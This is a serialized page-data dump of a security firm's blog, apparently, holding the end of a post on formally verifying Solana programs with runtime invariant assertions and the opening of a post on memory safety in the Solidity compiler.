my_account",{"type":25,"tag":271,"props":41181,"children":41182},{"style":13603},[41183],{"type":30,"value":359},{"type":25,"tag":271,"props":41185,"children":41186},{"style":13609},[41187],{"type":30,"value":36194},{"type":25,"tag":271,"props":41189,"children":41190},{"style":13625},[41191],{"type":30,"value":36022},{"type":25,"tag":271,"props":41193,"children":41194},{"style":13609},[41195],{"type":30,"value":36027},{"type":25,"tag":271,"props":41197,"children":41198},{"style":13625},[41199],{"type":30,"value":44},{"type":25,"tag":271,"props":41201,"children":41202},{"style":13609},[41203],{"type":30,"value":41204},"Acc",{"type":25,"tag":271,"props":41206,"children":41207},{"style":13625},[41208],{"type":30,"value":14448},{"type":25,"tag":271,"props":41210,"children":41211},{"class":13593,"line":14400},[41212],{"type":25,"tag":271,"props":41213,"children":41214},{"style":13625},[41215],{"type":30,"value":17058},{"type":25,"tag":271,"props":41217,"children":41218},{"class":13593,"line":16406},[41219],{"type":25,"tag":271,"props":41220,"children":41221},{"emptyLinePlaceholder":18},[41222],{"type":30,"value":16829},{"type":25,"tag":271,"props":41224,"children":41225},{"class":13593,"line":16434},[41226],{"type":25,"tag":271,"props":41227,"children":41228},{"style":13625},[41229],{"type":30,"value":33890},{"type":25,"tag":271,"props":41231,"children":41232},{"class":13593,"line":16447},[41233,41238,41242],{"type":25,"tag":271,"props":41234,"children":41235},{"style":13625},[41236],{"type":30,"value":41237},"#[invariant(bad ",{"type":25,"tag":271,"props":41239,"children":41240},{"style":13603},[41241],{"type":30,"value":21696},{"type":25,"tag":271,"props":41243,"children":41244},{"style":13625},[41245],{"type":30,"value":41246}," false)]\n",{"type":25,"tag":271,"props":41248,"children":41249},{"class":13593,"line":16465},[41250,41254,41259],{"type":25,"tag":271,"props":41251,"children":41252},{"style":14289},[41253],{"type":30,"value":22524},{"type":25,"tag":271,"props":41255,"children":41256},{"style":13609},[41257],{"type":30,"value":41258}," Acc",{"type":25,"tag":271,"props":41260,"children":41261},{"style":13625},[41262],{"type":30,"value":16431},{"type":25,"tag":271,"props":41264,"children":41265},{"class":13593,"line":16486},[41266,41270,41275,41279],{"type":25,"tag":271,"props":41267,"children":41268},{"style":14289},[41269],{"type":30,"value":33963},{"type":25,"tag":271,"props":41271,"children":41272},{"style":13598},[41273],{"type":30,"value":41274}," bad",{"type":25,"tag":271,"props":41276,"children":41277},{"style":13603},[41278],{"type":30,"value":359},{"type":25,"tag":271,"props":41280,"children":41281},{"style":13609},[41282],{"type":30,"value":41283}," bool\n",{"type":25,"tag":271,"props":41285,"children":41286},{"class":13593,"line":16495},[41287],{"type":25,"tag":271,"props":41288,"children":41289},{"style":13625},[41290],{"type":30,"value":17058},{"type":25,"tag":271,"props":41292,"children":41293},{"class":13593,"line":16744},[41294],{"type":25,"tag":271,"props":41295,"children":41296},{"emptyLinePlaceholder":18},[41297],{"type":30,"value":16829},{"type":25,"tag":271,"props":41299,"children":41300},{"class":13593,"line":16761},[41301,41306,41310],{"type":25,"tag":271,"props":41302,"children":41303},{"style":14289},[41304],{"type":30,"value":41305},"impl",{"type":25,"tag":271,"props":41307,"children":41308},{"style":13609},[41309],{"type":30,"value":41258},{"type":25,"tag":271,"props":41311,"children":41312},{"style":13625},[41313],{"type":30,"value":16431},{"type":25,"tag":271,"props":41315,"children":41316},{"class":13593,"line":16778},[41317,41321,41325,41330],{"type":25,"tag":271,"props":41318,"children":41319},{"style":14289},[41320],{"type":30,"value":33963},{"type":25,"tag":271,"props":41322,"children":41323},{"style":14289},[41324],{"type":30,"value":14297},{"type":25,"tag":271,"props":41326,"children":41327},{"style":13620},[41328],{"type":30,"value":41329}," put_into_bad_state",{"type":25,"tag":271,"props":41331,"children":41332},{"style":13625},[41333],{"type":30,"value":28858},{"type":25,"tag":271,"props":41335,"children":41336},{"class":13593,"line":16791},[41337,41341,41345,41350,41354,41358],{"type":25,"tag":271,"props":41338,"children":41339},{"style":14289},[41340],{"type":30,"value":40470},{"type":25,"tag":271,"props":41342,"children":41343},{"style":13603},[41344],{"type":30,"value":1860},{"type":25,"tag":271,"props":41346,"children":41347},{"style":13625},[41348],{"type":30,"value":41349},"bad ",{"type":25,"tag":271,"props":41351,"children":41352},{"style":13603},[41353],{"type":30,"value":1065},{"type":25,"tag":271,"props":41355,"children":41356},{"style":14289},[41357],{"type":30,"value":25594},{"type":25,"tag":271,"props":41359,"children":41360},{"style":13625},[41361],{"type":30,"value":16165},{"type":25,"tag":271,"props":41363,"children":41364},{"class":13593,"line":16800},[41365],{"type":25,"tag":271,"props":41366,"children":41367},{"style":13625},[41368],{"type":30,"value":16501},{"type":25,"tag":271,"props":41370,"children":41371},{"class":13593,"line":16823},[41372],{"type":25,"tag":271,"props":41373,"children":41374},{"style":13625},[41375],{"type":30,"value":17058},{"type":25,"tag":271,"props":41377,"children":41378},{"class":13593,"line":16832},[41379],{"type":25,"tag":271,"props":41380,"children":41381},{"emptyLinePlaceholder":18},[41382],{"type":30,"value":16829},{"type":25,"tag":271,"props":41384,"children":41385},{"class":13593,"line":16841},[41386],{"type":25,"tag":271,"props":41387,"children":41388},{"style":14385},[41389],{"type":30,"value":41390},"// Instruction handler:\n",{"type":25,"tag":271,"props":41392,"children":41393},{"class":13593,"line":16907},[41394,41398,41403,41407,41411,41415,41419,41423,41428,41432,41436,41440],{"type":25,"tag":271,"props":41395,"children":41396},{"style":14289},[41397],{"type":30,"value":33387},{"type":25,"tag":271,"props":41399,"children":41400},{"style":13620},[41401],{"type":30,"value":41402}," hard_to_verify",{"type":25,"tag":271,"props":41404,"children":41405},{"style":13625},[41406],{"type":30,"value":394},{"type":25,"tag":271,"props":41408,"children":41409},{"style":13598},[41410],{"type":30,"value":33401},{"type":25,"tag":271,"props":41412,"children":41413},{"style":13603},[41414],{"type":30,"value":359},{"type":25,"tag":271,"props":41416,"children":41417},{"style":13609},[41418],{"type":30,"value":33410},{"type":25,"tag":271,"props":41420,"children":41421},{"style":13625},[41422],{"type":30,"value":14307},{"type":25,"tag":271,"props":41424,"children":41425},{"style":13609},[41426],{"type":30,"value":41427},"MyCtx",{"type":25,"tag":271,"props":41429,"children":41430},{"style":13625},[41431],{"type":30,"value":33567},{"type":25,"tag":271,"props":41433,"children":41434},{"style":13603},[41435],{"type":30,"value":14411},{"type":25,"tag":271,"props":41437,"children":41438},{"style":13609},[41439],{"type":30,"value":14416},{"type":25,"tag":271,"props":41441,"children":41442},{"style":13625},[41443],{"type":30,"value":33452},{"type":25,"tag":271,"props":41445,"children":41446},{"class":13593,"line":16915},[41447,41452,41456,41460,41465],{"type":25,"tag":271,"props":41448,"children":41449},{"style":13620},[41450],{"type":30,"value":41451},"    invoke_signed",{"type":25,"tag":271,"props":41453,"children":41454},{"style":13625},[41455],{"type":30,"value":394},{"type":25,"tag":271,"props":41457,"children":41458},{"style":13603},[41459],{"type":30,"value":22714},{"type":25,"tag":271,"props":41461,"children":41462},{"style":13625},[41463],{"type":30,"value":41464},"); ",{"type":25,"tag":271,"props":41466,"children":41467},{"style":14385},[41468],{"type":30,"value":41469},"// Cross-program invocation\n",{"type":25,"tag":271,"props":41471,"children":41472},{"class":13593,"line":16945},[41473],{"type":25,"tag":271,"props":41474,"children":41475},{"emptyLinePlaceholder":18},[41476],{"type":30,"value":16829},{"type":25,"tag":271,"props":41478,"children":41479},{"class":13593,"line":16953},[41480,41484,41489,41493,41497,41501],{"type":25,"tag":271,"props":41481,"children":41482},{"style":14289},[41483],{"type":30,"value":16140},{"type":25,"tag":271,"props":41485,"children":41486},{"style":13598},[41487],{"type":30,"value":41488}," invoke_res",{"type":25,"tag":271,"props":41490,"children":41491},{"style":13603},[41492],{"type":30,"value":16155},{"type":25,"tag":271,"props":41494,"children":41495},{"style":13603},[41496],{"type":30,"value":38409},{"type":25,"tag":271,"props":41498,"children":41499},{"style":13625},[41500],{"type":30,"value":30349},{"type":25,"tag":271,"props":41502,"children":41503},{"style":14385},[41504],{"type":30,"value":41505},"// fetch result of invocation\n",{"type":25,"tag":271,"props":41507,"children":41508},{"class":13593,"line":16984},[41509,41513,41517,41521,41526],{"type":25,"tag":271,"props":41510,"children":41511},{"style":16171},[41512],{"type":30,"value":25404},{"type":25,"tag":271,"props":41514,"children":41515},{"style":13598},[41516],{"type":30,"value":41488},{"type":25,"tag":271,"props":41518,"children":41519},{"style":13603},[41520],{"type":30,"value":16422},{"type":25,"tag":271,"props":41522,"children":41523},{"style":16187},[41524],{"type":30,"value":41525}," 5",{"type":25,"tag":271,"props":41527,"children":41528},{"style":13625},[41529],{"type":30,"value":16431},{"type":25,"tag":271,"props":41531,"children":41532},{"class":13593,"line":16992},[41533,41537,41541,41546,41550,41555,41560],{"type":25,"tag":271,"props":41534,"children":41535},{"style":13598},[41536],{"type":30,"value":39296},{"type":25,"tag":271,"props":41538,"children":41539},{"style":13603},[41540],{"type":30,"value":1860},{"type":25,"tag":271,"props":41542,"children":41543},{"style":13625},[41544],{"type":30,"value":41545},"my_account",{"type":25,"tag":271,"props":41547,"children":41548},{"style":13603},[41549],{"type":30,"value":1860},{"type":25,"tag":271,"props":41551,"children":41552},{"style":13620},[41553],{"type":30,"value":41554},"put_into_bad_state",{"type":25,"tag":271,"props":41556,"children":41557},{"style":13625},[41558],{"type":30,"value":41559},"(); ",{"type":25,"tag":271,"props":41561,"children":41562},{"style":14385},[41563],{"type":30,"value":41564},"// corrupt our account\n",{"type":25,"tag":271,"props":41566,"children":41567},{"class":13593,"line":17052},[41568],{"type":25,"tag":271,"props":41569,"children":41570},{"style":13625},[41571],{"type":30,"value":16501},{"type":25,"tag":271,"props":41573,"children":41574},{"class":13593,"line":22168},[41575,41579],{"type":25,"tag":271,"props":41576,"children":41577},{"style":13609},[41578],{"type":30,"value":27454},{"type":25,"tag":271,"props":41580,"children":41581},{"style":13625},[41582],{"type":30,"value":27459},{"type":25,"tag":271,"props":41584,"children":41585},{"class":13593,"line":22186},[41586],{"type":25,"tag":271,"props":41587,"children":41588},{"style":13625},[41589],{"type":30,"value":17058},{"type":25,"tag":26,"props":41591,"children":41592},{},[41593,41595,41600],{"type":30,"value":41594},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":25,"tag":264,"props":41596,"children":41598},{"className":41597},[],[41599],{"type":30,"value":41545},{"type":30,"value":41601},") will be maintained as long as the instruction succeeds.",{"type":25,"tag":26,"props":41603,"children":41604},{},[41605],{"type":30,"value":41606},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":25,"tag":26,"props":41608,"children":41609},{},[41610,41612,41617],{"type":30,"value":41611},"However, we can ",{"type":25,"tag":10281,"props":41613,"children":41614},{},[41615],{"type":30,"value":41616},"augment",{"type":30,"value":41618}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":25,"tag":26,"props":41620,"children":41621},{},[41622],{"type":30,"value":41623},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":25,"tag":7764,"props":41625,"children":41627},{"code":41626,"language":13585,"meta":7,"className":13586,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n\n    // Enforce invariants at runtime\n    assert(ctx.my_account.invariant());\n\n    Ok(())\n}\n",[41628],{"type":25,"tag":264,"props":41629,"children":41630},{"__ignoreMap":7},[41631,41639,41690,41713,41720,41747,41770,41801,41808,41815,41823,41858,41865,41876],{"type":25,"tag":271,"props":41632,"children":41633},{"class":13593,"line":13594},[41634],{"type":25,"tag":271,"props":41635,"children":41636},{"style":13603},[41637],{"type":30,"value":41638},"...\n",{"type":25,"tag":271,"props":41640,"children":41641},{"class":13593,"line":11641},[41642,41646,41650,41654,41658,41662,41666,41670,41674,41678,41682,41686],{"type":25,"tag":271,"props":41643,"children":41644},{"style":14289},[41645],{"type":30,"value":33387},{"type":25,"tag":271,"props":41647,"children":41648},{"style":13620},[41649],{"type":30,"value":41402},{"type":25,"tag":271,"props":41651,"children":41652},{"style":13625},[41653],{"type":30,"value":394},{"type":25,"tag":271,"props":41655,"children":41656},{"style":13598},[41657],{"type":30,"value":33401},{"type":25,"tag":271,"props":41659,"children":41660},{"style":13603},[41661],{"type":30,"value":359},{"type":25,"tag":271,"props":41663,"children":41664},{"style":13609},[41665],{"type":30,"value":33410},{"type":25,"tag":271,"props":41667,"children":41668},{"style":13625},[41669],{"type":30,"value":14307},{"type":25,"tag":271,"props":41671,"children":41672},{"style":13609},[41673],{"type":30,"value":41427},{"type":25,"tag":271,"props":41675,"children":41676},{"style":13625},[41677],{"type":30,"value":33567},{"type":25,"tag":271,"props":41679,"children":41680},{"style":13603},[41681],{"type":30,"value":14411},{"type":25,"tag":271,"props":41683,"children":41684},{"style":13609},[41685],{"type":30,"value":14416},{"type":25,"tag":271,"props":41687,"children":41688},{"style":13625},[41689],{"type":30,"value":33452},{"type":25,"tag":271,"props":41691,"children":41692},{"class":13593,"line":14354},[41693,41697,41701,41705,41709],{"type":25,"tag":271,"props":41694,"children":41695},{"style":13620},[41696],{"type":30,"value":41451},{"type":25,"tag":271,"props":41698,"children":41699},{"style":13625},[41700],{"type":30,"value":394},{"type":25,"tag":271,"props":41702,"children":41703},{"style":13603},[41704],{"type":30,"value":22714},{"type":25,"tag":271,"props":41706,"children":41707},{"style":13625},[41708],{"type":30,"value":41464},{"type":25,"tag":271,"props":41710,"children":41711},{"style":14385},[41712],{"type":30,"value":41469},{"type":25,"tag":271,"props":41714,"children":41715},{"class":13593,"line":14391},[41716],{"type":25,"tag":271,"props":41717,"children":41718},{"emptyLinePlaceholder":18},[41719],{"type":30,"value":16829},{"type":25,"tag":271,"props":41721,"children":41722},{"class":13593,"line":14400},[41723,41727,41731,41735,41739,41743],{"type":25,"tag":271,"props":41724,"children":41725},{"style":14289},[41726],{"type":30,"value":16140},{"type":25,"tag":271,"props":41728,"children":41729},{"style":13598},[41730],{"type":30,"value":41488},{"type":25,"tag":271,"props":41732,"children":41733},{"style":13603},[41734],{"type":30,"value":16155},{"type":25,"tag":271,"props":41736,"children":41737},{"style":13603},[41738],{"type":30,"value":38409},{"type":25,"tag":271,"props":41740,"children":41741},{"style":13625},[41742],{"type":30,"value":30349},{"type":25,"tag":271,"props":41744,"children":41745},{"style":14385},[41746],{"type":30,"value":41505},{"type":25,"tag":271,"props":41748,"children":41749},{"class":13593,"line":16406},[41750,41754,41758,41762,41766],{"type":25,"tag":271,"props":41751,"children":41752},{"style":16171},[41753],{"type":30,"value":25404},{"type":25,"tag":271,"props":41755,"children":41756},{"style":13598},[41757],{"type":30,"value":41488},{"type":25,"tag":271,"props":41759,"children":41760},{"style":13603},[41761],{"type":30,"value":16422},{"type":25,"tag":271,"props":41763,"children":41764},{"style":16187},[41765],{"type":30,"value":41525},{"type":25,"tag":271,"props":41767,"children":41768},{"style":13625},[41769],{"type":30,"value":16431},{"type":25,"tag":271,"props":41771,"children":41772},{"class":13593,"line":16434},[41773,41777,41781,41785,41789,41793,41797],{"type":25,"tag":271,"props":41774,"children":41775},{"style":13598},[41776],{"type":30,"value":39296},{"type":25,"tag":271,"props":41778,"children":41779},{"style":13603},[41780],{"type":30,"value":1860},{"type":25,"tag":271,"props":41782,"children":41783},{"style":13625},[41784],{"type":30,"value":41545},{"type":25,"tag":271,"props":41786,"children":41787},{"style":13603},[41788],{"type":30,"value":1860},{"type":25,"tag":271,"props":41790,"children":41791},{"style":13620},[41792],{"type":30,"value":41554},{"type":25,"tag":271,"props":41794,"children":41795},{"style":13625},[41796],{"type":30,"value":41559},{"type":25,"tag":271,"props":41798,"children":41799},{"style":14385},[41800],{"type":30,"value":41564},{"type":25,"tag":271,"props":41802,"children":41803},{"class":13593,"line":16447},[41804],{"type":25,"tag":271,"props":41805,"children":41806},{"style":13625},[41807],{"type":30,"value":16501},{"type":25,"tag":271,"props":41809,"children":41810},{"class":13593,"line":16465},[41811],{"type":25,"tag":271,"props":41812,"children":41813},{"emptyLinePlaceholder":18},[41814],{"type":30,"value":16829},{"type":25,"tag":271,"props":41816,"children":41817},{"class":13593,"line":16486},[41818],{"type":25,"tag":271,"props":41819,"children":41820},{"style":14385},[41821],{"type":30,"value":41822},"    // Enforce invariants at runtime\n",{"type":25,"tag":271,"props":41824,"children":41825},{"class":13593,"line":16495},[41826,41830,41834,41838,41842,41846,41850,41854],{"type":25,"tag":271,"props":41827,"children":41828},{"style":13620},[41829],{"type":30,"value":32361},{"type":25,"tag":271,"props":41831,"children":41832},{"style":13625},[41833],{"type":30,"value":394},{"type":25,"tag":271,"props":41835,"children":41836},{"style":13598},[41837],{"type":30,"value":33401},{"type":25,"tag":271,"props":41839,"children":41840},{"style":13603},[41841],{"type":30,"value":1860},{"type":25,"tag":271,"props":41843,"children":41844},{"style":13625},[41845],{"type":30,"value":41545},{"type":25,"tag":271,"props":41847,"children":41848},{"style":13603},[41849],{"type":30,"value":1860},{"type":25,"tag":271,"props":41851,"children":41852},{"style":13620},[41853],{"type":30,"value":34879},{"type":25,"tag":271,"props":41855,"children":41856},{"style":13625},[41857],{"type":30,"value":28546},{"type":25,"tag":271,"props":41859,"children":41860},{"class":13593,"line":16744},[41861],{"type":25,"tag":271,"props":41862,"children":41863},{"emptyLinePlaceholder":18},[41864],{"type":30,"value":16829},{"type":25,"tag":271,"props":41866,"children":41867},{"class":13593,"line":16761},[41868,41872],{"type":25,"tag":271,"props":41869,"children":41870},{"style":13609},[41871],{"type":30,"value":27454},{"type":25,"tag":271,"props":41873,"children":41874},{"style":13625},[41875],{"type":30,"value":27459},{"type":25,"tag":271,"props":41877,"children":41878},{"class":13593,"line":16778},[41879],{"type":25,"tag":271,"props":41880,"children":41881},{"style":13625},[41882],{"type":30,"value":17058},{"type":25,"tag":26,"props":41884,"children":41885},{},[41886,41888,41893,41895,41900,41902,41907],{"type":30,"value":41887},"Here, we explicitly ",{"type":25,"tag":264,"props":41889,"children":41891},{"className":41890},[],[41892],{"type":30,"value":33105},{"type":30,"value":41894}," that our invariants hold at ",{"type":25,"tag":10281,"props":41896,"children":41897},{},[41898],{"type":30,"value":41899},"runtime",{"type":30,"value":41901}," which allows us to be assured that ",{"type":25,"tag":264,"props":41903,"children":41905},{"className":41904},[],[41906],{"type":30,"value":41545},{"type":30,"value":41908}," will not enter a bad state as a result of some unverifiable behavior.",{"type":25,"tag":26,"props":41910,"children":41911},{},[41912],{"type":30,"value":41913},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":25,"tag":96,"props":41915,"children":41917},{"id":41916},"challenges-of-formal-verification-on-solana",[41918],{"type":30,"value":41919},"Challenges of formal verification on Solana",{"type":25,"tag":247,"props":41921,"children":41923},{"id":41922},"expensive-computation",[41924],{"type":30,"value":41925},"Expensive computation",{"type":25,"tag":26,"props":41927,"children":41928},{},[41929,41931,41936],{"type":30,"value":41930},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":25,"tag":10281,"props":41932,"children":41933},{},[41934],{"type":30,"value":41935},"path explosion",{"type":30,"value":41937},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":25,"tag":26,"props":41939,"children":41940},{},[41941,41943,41948],{"type":30,"value":41942},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":25,"tag":10281,"props":41944,"children":41945},{},[41946],{"type":30,"value":41947},"formal verification friendly",{"type":30,"value":41949},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":25,"tag":26,"props":41951,"children":41952},{},[41953,41955,41960,41962,41967],{"type":30,"value":41954},"For example, when verifying things like the uniqueness of a ",{"type":25,"tag":264,"props":41956,"children":41958},{"className":41957},[],[41959],{"type":30,"value":34518},{"type":30,"value":41961}," in a ",{"type":25,"tag":264,"props":41963,"children":41965},{"className":41964},[],[41966],{"type":30,"value":30333},{"type":30,"value":41968},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":25,"tag":26,"props":41970,"children":41971},{},[41972,41974,41979,41981,41986,41988,41993,41995,42000,42002,42007,42009,42014],{"type":30,"value":41973},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":25,"tag":264,"props":41975,"children":41977},{"className":41976},[],[41978],{"type":30,"value":30333},{"type":30,"value":41980}," or a 32-byte ",{"type":25,"tag":264,"props":41982,"children":41984},{"className":41983},[],[41985],{"type":30,"value":34518},{"type":30,"value":41987},". Instead, our tool can substitute in ",{"type":25,"tag":10281,"props":41989,"children":41990},{},[41991],{"type":30,"value":41992},"cheaper",{"type":30,"value":41994}," types and functions, such as a 4-byte ",{"type":25,"tag":264,"props":41996,"children":41998},{"className":41997},[],[41999],{"type":30,"value":34518},{"type":30,"value":42001}," struct and a fixed-size, array-backed ",{"type":25,"tag":264,"props":42003,"children":42005},{"className":42004},[],[42006],{"type":30,"value":30333},{"type":30,"value":42008}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":25,"tag":10281,"props":42010,"children":42011},{},[42012],{"type":30,"value":42013},"much",{"type":30,"value":42015}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":25,"tag":26,"props":42017,"children":42018},{},[42019],{"type":30,"value":42020},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":25,"tag":247,"props":42022,"children":42024},{"id":42023},"runtime-environment",[42025],{"type":30,"value":42026},"Runtime Environment",{"type":25,"tag":26,"props":42028,"children":42029},{},[42030],{"type":30,"value":42031},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":25,"tag":26,"props":42033,"children":42034},{},[42035],{"type":30,"value":42036},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":25,"tag":26,"props":42038,"children":42039},{},[42040],{"type":30,"value":42041},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":25,"tag":96,"props":42043,"children":42045},{"id":42044},"conclusion",[42046],{"type":30,"value":32068},{"type":25,"tag":26,"props":42048,"children":42049},{},[42050],{"type":30,"value":42051},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":25,"tag":26,"props":42053,"children":42054},{},[42055],{"type":30,"value":42056},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":25,"tag":92,"props":42058,"children":42059},{},[],{"type":25,"tag":26,"props":42061,"children":42062},{},[42063],{"type":25,"tag":10281,"props":42064,"children":42065},{},[42066,42068,42073,42074,42078],{"type":30,"value":42067},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":25,"tag":83,"props":42069,"children":42071},{"href":31997,"rel":42070},[9066],[42072],{"type":30,"value":32001},{"type":30,"value":32003},{"type":25,"tag":83,"props":42075,"children":42076},{"href":32006},[42077],{"type":30,"value":32009},{"type":30,"value":1860},{"type":25,"tag":15963,"props":42080,"children":42081},{},[42082],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":42084},[42085,42091,42095,42100,42106,42110],{"id":32071,"depth":11641,"text":32074,"children":42086},[42087,42088,42089,42090],{"id":32077,"depth":14354,"text":32080},{"id":32145,"depth":14354,"text":32148},{"id":33025,"depth":14354,"text":33028},{"id":33065,"depth":14354,"text":33068},{"id":33118,"depth":11641,"text":42092,"children":42093},"Specification: How can we describe what we want our program to do?",[42094],{"id":33231,"depth":14354,"text":33234},{"id":34590,"depth":11641,"text":34593,"children":42096},[42097,42098,42099],{"id":35247,"depth":14354,"text":35250},{"id":35531,"depth":14354,"text":35534},{"id":35675,"depth":14354,"text":35678},{"id":35816,"depth":11641,"text":35819,"children":42101},[42102,42103,42104,42105],{"id":35887,"depth":14354,"text":35890},{"id":37748,"depth":14354,"text":37751},{"id":38550,"depth":14354,"text":35879},{"id":41076,"depth":14354,"text":35884},{"id":41916,"depth":11641,"text":41919,"children":42107},[42108,42109],{"id":41922,"depth":14354,"text":41925},{"id":42023,"depth":14354,"text":42026},{"id":42044,"depth":11641,"text":32068},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":42115,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":42116,"description":42117,"author":18851,"image":42118,"date":42120,"isFeatured":18,"onBlogPage":18,"tags":42121,"body":42123,"_type":16004,"_id":43542,"_source":16006,"_file":43543,"_stem":43544,"_extension":16009},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":42119,"height":17,"width":17},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[17605,42122],"compiler",{"type":22,"children":42124,"toc":43533},[42125,42131,42167,42179,42185,42207,42220,42368,42389,42394,42415,42420,42428,42433,42438,42443,42449,42468,42473,42494,42557,42570,42600,42620,42647,42652,42665,42670,42675,42688,42719,42742,42896,42914,42964,42983,43008,43013,43019,43046,43066,43094,43099,43121,43140,43148,43159,43164,43180,43437,43445,43450,43454,43459,43464,43529],{"type":25,"tag":96,"props":42126,"children":42128},{"id":42127},"introduction",[42129],{"type":30,"value":42130},"Introduction",{"type":25,"tag":26,"props":42132,"children":42133},{},[42134,42136,42142,42143,42147,42149,42156,42158,42165],{"type":30,"value":42135},"What does ",{"type":25,"tag":264,"props":42137,"children":42139},{"className":42138},[],[42140],{"type":30,"value":42141},"memory-safe",{"type":30,"value":14096},{"type":25,"tag":10281,"props":42144,"children":42145},{},[42146],{"type":30,"value":22411},{"type":30,"value":42148}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":25,"tag":83,"props":42150,"children":42153},{"href":42151,"rel":42152},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[9066],[42154],{"type":30,"value":42155},"presents some requirements",{"type":30,"value":42157},", but is production code that ",{"type":25,"tag":83,"props":42159,"children":42162},{"href":42160,"rel":42161},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[9066],[42163],{"type":30,"value":42164},"violates these requirements",{"type":30,"value":42166}," necessarily unsafe?",{"type":25,"tag":26,"props":42168,"children":42169},{},[42170,42172,42177],{"type":30,"value":42171},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":25,"tag":10281,"props":42173,"children":42174},{},[42175],{"type":30,"value":42176},"memory-safety",{"type":30,"value":42178}," actually means.",{"type":25,"tag":96,"props":42180,"children":42182},{"id":42181},"compiler-pipeline",[42183],{"type":30,"value":42184},"Compiler Pipeline",{"type":25,"tag":26,"props":42186,"children":42187},{},[42188,42190,42197,42199,42206],{"type":30,"value":42189},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":25,"tag":83,"props":42191,"children":42194},{"href":42192,"rel":42193},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[9066],[42195],{"type":30,"value":42196},"released in v0.8.13",{"type":30,"value":42198},". Compilation happens ",{"type":25,"tag":83,"props":42200,"children":42203},{"href":42201,"rel":42202},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[9066],[42204],{"type":30,"value":42205},"in two main steps",{"type":30,"value":359},{"type":25,"tag":661,"props":42208,"children":42209},{},[42210,42215],{"type":25,"tag":112,"props":42211,"children":42212},{},[42213],{"type":30,"value":42214},"Solidity to YUL IR",{"type":25,"tag":112,"props":42216,"children":42217},{},[42218],{"type":30,"value":42219},"YUL IR to EVM opcodes",{"type":25,"tag":7764,"props":42221,"children":42225},{"className":42222,"code":42223,"language":42224,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark","    if (m_viaIR || m_generateIR || m_generateEwasm)\n        generateIR(*contract);\n    if (m_generateEvmBytecode)\n    {\n        if (m_viaIR)\n            generateEVMFromIR(*contract);\n        else\n            compileContract(*contract, otherCompilers);\n    }\n","cpp",[42226],{"type":25,"tag":264,"props":42227,"children":42228},{"__ignoreMap":7},[42229,42259,42280,42292,42300,42312,42332,42340,42361],{"type":25,"tag":271,"props":42230,"children":42231},{"class":13593,"line":13594},[42232,42236,42241,42245,42250,42254],{"type":25,"tag":271,"props":42233,"children":42234},{"style":16171},[42235],{"type":30,"value":25404},{"type":25,"tag":271,"props":42237,"children":42238},{"style":13625},[42239],{"type":30,"value":42240}," (m_viaIR ",{"type":25,"tag":271,"props":42242,"children":42243},{"style":13603},[42244],{"type":30,"value":35518},{"type":25,"tag":271,"props":42246,"children":42247},{"style":13625},[42248],{"type":30,"value":42249}," m_generateIR ",{"type":25,"tag":271,"props":42251,"children":42252},{"style":13603},[42253],{"type":30,"value":35518},{"type":25,"tag":271,"props":42255,"children":42256},{"style":13625},[42257],{"type":30,"value":42258}," 